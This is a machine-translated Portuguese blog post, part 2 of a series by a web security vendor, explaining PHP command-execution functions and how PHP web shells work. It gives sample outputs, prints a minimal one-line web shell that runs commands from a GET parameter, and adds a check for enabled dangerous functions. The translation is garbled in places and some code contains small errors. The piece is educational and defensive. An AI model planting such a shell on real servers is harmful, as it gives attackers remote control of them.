Dubitinsider

for your information

na parte 1 desta série, nós olhamos para o que é uma shell web e por que um atacante iria procurar usar uma. Na parte 2 desta série, vamos olhar para alguns exemplos específicos de Web shells desenvolvidos usando a linguagem de programação PHP.

existem conchas Web para quase todas as linguagens de programação web que você pode pensar. Nós escolhemos focar no PHP porque é a linguagem de programação mais amplamente utilizada na web.

As conchas web do PHP não fazem mais do que usar funções de PHP incorporadas para executar comandos. A seguir estão algumas das funções mais comuns usadas para executar comandos shell em PHP.

Nota: para os fins deste artigo, editamos o nosso ficheiro hosts e apontamos o domínio www.example.com para um servidor de testes.

system ()

The system() function accepts the command as a parameter and it outputs the result.

o seguinte exemplo numa máquina do Microsoft Windows irá executar o comando dir para devolver uma lista de directórios da pasta em que o ficheiro PHP é executado.

<?php// Return the listing of the directory where the file runs (Windows)system("dir");?>--> Volume in drive C has no label.Volume Serial Number is A08E-9C63Directory of C:\webserver\www\demo02/27/2020 10:21 PM <DIR> .02/27/2020 10:21 PM <DIR> ..02/27/2020 10:19 PM 22 shell.php1 File(s) 22 bytes2 Dir(s) 31,977,467,904 bytes free

executando o comandols numa máquina Linux obtém um resultado semelhante.

<?php// Return the listing of the directory where the file runs (Linux)system("ls -la");?>--> total 12drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:43 .drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..-rw-rw-r-- 1 secuser secuser 26 Feb 27 20:41 shell.php

outros comandos têm o mesmo efeito.

<?php// Return the user the script is running undersystem("whoami");?>--> www-data

exec ()

a funçãoexec() aceita um comando como parâmetro, mas não emite o resultado. Se um segundo parâmetro opcional for especificado, o resultado será devolvido como um array. Caso contrário, só a última linha do resultado será mostrada se ecoada.

<?php// Executes but returns nothingexec("ls -la");?>-->

Using echowith theexec() apenas irá imprimir a última linha do resultado do comando.

<?php// Executes, returns only last line of the outputecho exec("ls -la");?>--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

Se for especificado um segundo parâmetro, o resultado é devolvido em uma matriz.

<?php// Executes, returns the output in an arrayexec("ls -la",$array);print_r($array);?>--> Array( => total 12 => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 . => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )

shell_exec()

shell_exec() função é semelhante a exec(), no entanto, ele gera todo o resultado como uma string.

<?php// Executes, returns the entire output as a stringecho shell_exec("ls -la");?>
-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Feb 28 18:24 shell.php

passthru()

passthru() função executa um comando e retorna a saída em formato raw.

<?php// Executes, returns output in raw formatpasssthru("ls -la");?>-->total 12drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php

proc_open()

proc_open() função pode ser difícil de entender (você pode encontrar uma descrição detalhada da função em PHP docs). Usando proc_open(), podemos criar um handler (processo) que será usado para a comunicação entre o nosso script e o programa que queremos executar.

Backticks

surpreendentemente, poucos desenvolvedores de PHP estão cientes disso, mas PHP irá executar o conteúdo de backticks ( ‘ ) como um comando shell.

Nota: O carácter de backtick ( ‘ ) não deve ser confundido com o carácter de aspas simples (‘)
<?php$output = `whoami`;echo "<pre>$output</pre>";?>--> www-data

baseado no acima, o seguinte é uma shell web PHP na sua forma mais simples.

<?php system($_GET);?>

ele usa a função system() para executar comandos que estão sendo passados através ‘cmd’ HTTP request GET parameter.

web shells image 2

estabelecemos que estas funções (e algumas outras) podem ser muito perigosas. O que é ainda mais perigoso é que todos esses comandos PHP incorporados são ativados por padrão quando PHP é instalado e a maioria dos administradores de sistema não desativá-los.

Se não tiver a certeza se eles estão activos no seu sistema, o seguinte irá devolver uma lista das funções perigosas que estão activas.

<?phpprint_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)));?>

numa instalação predefinida, podemos ver que todas as funções mencionadas acima estão activas.

 => exec => system => passthru => shell_exec => proc_open => show_source => parse_ini_file => popen

Parte 1

Introdução ao Web Conchas

Parte 2

Web Conchas 101 Utilizando PHP

Parte 3

Manutenção de Web Conchas Abrigo

Parte 4

Web Shells em Ação

Parte 5

Detecção de & Prevenção

perguntas mais frequentes

Um web shell é um aplicativo pequeno que um invasor é executado no seu servidor web. Eles podem então usar esta aplicação para acessar remotamente o seu servidor e executar comandos sobre ele. Uma shell web por si só nunca é um ataque, é o rescaldo de um ataque bem sucedido em seu site ou aplicação web. Isso significa que se você tem um shell web, você tem um problema muito mais sério para se preocupar.

veja como uma web shell funciona na prática.

hackers maliciosos usam Web shells para assumir o controlo de um servidor já comprometido. Primeiro, eles exploram uma vulnerabilidade em seu site ou aplicação web, como injeção SQL, execução de código remoto, ou outros. Depois, enviam uma linha de comandos para o seu servidor. A partir de agora, eles podem executar todos os comandos que eles gostam em seu servidor.

veja um exemplo passo-a-passo de um ataque que leva ao compromisso do servidor completo.

Pode detectar conchas da web através da análise logarítmica. No entanto, você não deve se concentrar em detectar web shells, mas em vez disso, você deve detectar vulnerabilidades que podem deixar os atacantes assumir o controle do seu servidor. Mesmo se você detectar um shell web, Isso não vai impedir os atacantes de assumir o Controle novamente se as vulnerabilidades ainda estão lá. Para detectar vulnerabilidades web e aprender a eliminá-las, use Acunetix.veja o que o Acunetix Premium pode fazer por si.

Você pode fazer isso endurecendo o seu servidor-removendo todas as permissões em excesso, bloqueando funções potencialmente perigosas, restringindo a execução de script em diretórios de upload, etc. No entanto, é melhor proteger o servidor de ficar comprometido, em primeiro lugar, usando Acunetix regularmente.

Leia mais sobre detecção e proteção da linha de comandos web.

coloque o conteúdo mais recente na segurança da web
na sua caixa de entrada todas as semanas.

PARTILHAR ESTE POST

O AUTOR
Agathoklis Prodromou
Web Administrador de Sistemas/Desenvolvedor

Akis tem trabalhado na área de TI há mais de 13 anos, desenvolvendo suas habilidades a partir de uma perspectiva defensiva como um Administrador de Sistema e Desenvolvedor Web mas também a partir de uma ofensiva perspectiva como um testador de penetração. Ele possui várias certificações profissionais relacionadas a hacking ético, forense digital e resposta a incidentes.

Deixe uma resposta

O seu endereço de email não será publicado.